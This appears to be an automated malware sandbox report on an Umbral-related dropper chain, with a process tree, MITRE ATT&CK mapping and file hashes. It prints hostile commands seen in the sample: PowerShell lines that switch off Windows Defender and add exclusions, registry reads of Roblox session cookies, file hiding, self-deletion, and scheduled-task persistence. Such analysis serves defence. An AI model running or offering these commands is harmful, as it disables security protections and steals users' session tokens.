        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        13⤵
        Executes dropped EXE
        
        PID:1680
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        14⤵
        Executes dropped EXE
        
        PID:2656
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        14⤵
        Executes dropped EXE
        
        PID:2724
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        15⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2864
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        16⤵
        
        PID:1532
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        17⤵
        Loads dropped DLL
        
        PID:2192
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        18⤵
        
        PID:2312
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        12⤵
        Executes dropped EXE
        
        PID:2804
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        13⤵
        Executes dropped EXE
        
        PID:2584
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        13⤵
        Executes dropped EXE
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        14⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1500
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        15⤵
        System Location Discovery: System Language Discovery
        
        PID:956
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        16⤵
        Loads dropped DLL
        
        PID:2492
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        17⤵
        Executes dropped EXE
        
        PID:2288
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        11⤵
        Executes dropped EXE
        
        PID:2672
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        12⤵
        Executes dropped EXE
        
        PID:1108
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        12⤵
        Executes dropped EXE
        
        PID:2452
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        13⤵
        Executes dropped EXE
        
        PID:1504
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        14⤵
        System Location Discovery: System Language Discovery
        
        PID:1676
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        15⤵
        Loads dropped DLL
        
        PID:2512
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        16⤵
        Executes dropped EXE
        
        PID:1708
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        10⤵
        Executes dropped EXE
        
        PID:2164
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        11⤵
        Executes dropped EXE
        
        PID:1988
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        11⤵
        Executes dropped EXE
        
        PID:2368
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        12⤵
        Executes dropped EXE
        
        PID:2612
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        13⤵
        
        PID:2976
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        14⤵
        Loads dropped DLL
        
        PID:3068
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        15⤵
        Executes dropped EXE
        
        PID:692
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        9⤵
        Executes dropped EXE
        
        PID:2100
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        10⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2348
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        11⤵
        
        PID:1708
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        11⤵
        Views/modifies file attributes
        
        PID:976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        11⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2224
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        11⤵
        
        PID:1652
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        11⤵
        
        PID:2376
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        11⤵
        
        PID:2620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1644
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        11⤵
        Detects videocard installed
        
        PID:3052
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        11⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2192
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        12⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:908
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        10⤵
        Executes dropped EXE
        
        PID:2908
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        11⤵
        Executes dropped EXE
        
        PID:2720
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        12⤵
        
        PID:1076
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        13⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1788
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        14⤵
        Executes dropped EXE
        
        PID:2748
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        8⤵
        Executes dropped EXE
        
        PID:2660
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        9⤵
        Executes dropped EXE
        
        PID:1592
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        9⤵
        Executes dropped EXE
        
        PID:1524
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        10⤵
        Executes dropped EXE
        
        PID:2796
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        11⤵
        
        PID:1992
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        12⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1956
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        13⤵
        Executes dropped EXE
        
        PID:984
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        7⤵
        Executes dropped EXE
        
        PID:2984
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        8⤵
        Executes dropped EXE
        
        PID:2816
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        8⤵
        Executes dropped EXE
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        9⤵
        Executes dropped EXE
        
        PID:2192
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:1332
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        11⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:316
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        12⤵
        Executes dropped EXE
        
        PID:2444
      - C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        6⤵
        Executes dropped EXE
        
        PID:1732
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        7⤵
        Executes dropped EXE
        
        PID:1232
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        7⤵
        Executes dropped EXE
        
        PID:2008
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        8⤵
        Executes dropped EXE
        
        PID:2832
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        9⤵
        
        PID:2824
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        10⤵
        Loads dropped DLL
        
        PID:1736
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        11⤵
        Executes dropped EXE
        
        PID:2212
    - - C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        5⤵
        Executes dropped EXE
        
        PID:2704
      - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        6⤵
        Executes dropped EXE
        
        PID:1284
      - C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        6⤵
        Executes dropped EXE
        
        PID:768
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        7⤵
        Executes dropped EXE
        
        PID:2500
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        8⤵
        
        PID:988
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        9⤵
        Loads dropped DLL
        
        PID:1556
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        10⤵
        Executes dropped EXE
        
        PID:1084
  - - C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
      "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2640
    - - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        5⤵
        Executes dropped EXE
        
        PID:2952
    - - C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        5⤵
        Executes dropped EXE
        
        PID:2968
      - C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        6⤵
        Executes dropped EXE
        
        PID:2688
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        7⤵
        
        PID:2348
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        8⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2400
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2980
- - C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
    "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      4⤵
      Executes dropped EXE
      PID:2884
  - - C:\Users\Admin\AppData\Local\Temp\fix.exe
      "C:\Users\Admin\AppData\Local\Temp\fix.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2100
    - - C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1260
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        6⤵
        
        PID:2444
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        7⤵
        Loads dropped DLL
        
        PID:2896
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2504
- C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
  "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2776
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3008
  - - C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      4⤵
      Views/modifies file attributes
      PID:2432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2740
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2204
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      PID:2236
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:2644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2468
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2452
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:2956
    - - C:\Windows\system32\PING.EXE
        
        ping localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1632
- - C:\Users\Admin\AppData\Local\Temp\fix.exe
    "C:\Users\Admin\AppData\Local\Temp\fix.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2616
  - - C:\Users\Admin\AppData\Local\Temp\ыв.exe
      "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1492
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        5⤵
        
        PID:1924
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        6⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1520
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        7⤵
        UAC bypass
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:1592
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\oYTytxkwUI.bat"
        8⤵
        
        PID:2476
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:2024
        
        C:\Users\Admin\Application Data\cmd.exe
        
        "C:\Users\Admin\Application Data\cmd.exe"
        9⤵
        Executes dropped EXE
        
        PID:1616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 11 /tr "'C:\hyperBroker\wscript.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\hyperBroker\wscript.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 5 /tr "'C:\hyperBroker\wscript.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 13 /tr "'C:\hyperBroker\wscript.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\hyperBroker\wscript.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2508

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 14 /tr "'C:\hyperBroker\wscript.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Defender\de-DE\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\de-DE\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Defender\de-DE\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 14 /tr "'C:\Recovery\1f4ba082-69f6-11ef-a143-62cb582c238c\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\1f4ba082-69f6-11ef-a143-62cb582c238c\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 6 /tr "'C:\Recovery\1f4ba082-69f6-11ef-a143-62cb582c238c\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\Application Data\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Users\Admin\Application Data\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Application Data\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Bs3zBAdbu3p2LG9\Display\Display.png

Filesize
369KB

MD5
d3bd3102781076ee66884399d74d2987

SHA1
f15d69f4a70b86c9e305fa5d558f6c74b2ee0f67

SHA256
3513be341d4dae14233d01a51427f180977983512e8a396235215630b6675073

SHA512
d10d41e3a118b011890d0cc86cb8fe71dbfd574bcfcb10db36a90555e0ed750a2e4b58a61bb8fef5a5df75eb0e1f0d78578013d36022077e20cae129d1459f83

Download Submit
C:\Users\Admin\AppData\Local\Temp\ISl3cJklXi4QyAx

Filesize
20KB

MD5
c9ff7748d8fcef4cf84a5501e996a641

SHA1
02867e5010f62f97ebb0cfb32cb3ede9449fe0c9

SHA256
4d3f3194cb1133437aa69bb880c8cbb55ddf06ff61a88ca6c3f1bbfbfd35d988

SHA512
d36054499869a8f56ac8547ccd5455f1252c24e17d2b185955390b32da7e2a732ace4e0f30f9493fcc61425a2e31ed623465f998f41af69423ee0e3ed1483a73

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
227KB

MD5
84c4d70a6de6f6a794b0e287ea519458

SHA1
97d25a2f209caa27a744b0efd281e401a94a87d4

SHA256
fd86b4c8eb8469a5f88085f512d83afa7ef5bc637156db24e49669ffbc55b06f

SHA512
f2411a0614813e1a33fa7e70923ef37cd840627ca6d6af348906ca72d8b8710c575ebcd996067200e7d8237ab537279fef720d33f4ff4cb3dca1ba52fa29ff21

Download Submit
C:\Users\Admin\AppData\Local\Temp\fix.exe

Filesize
777KB

MD5
c753914461faaf452c641fb686ca004b

SHA1
c7b16380f8bc9f9a24dc91f083ba2dadc8356a9d

SHA256
5e794482cab6f03c7095ea2c768ea38283fa44e73520fee7d4ebb4ead424f469

SHA512
80f1b9559b735e076b032e4c5743fd085cb6f75388e107806800eced745786188d7f170da9d6584f9f64d0bf4cada46e103b64082425b219d87080620bcefe91

Download Submit
C:\Users\Admin\AppData\Local\Temp\fixermachine.exe

Filesize
872KB

MD5
678712506c4fb19070c35596abf0b94c

SHA1
0fbf492d44960c3faae711fe93ecdb05293f3d01

SHA256
6c49fbaf56448928b2696373d509ed1f04785fc67818e4d7f4c9fe0cb406bb4c

SHA512
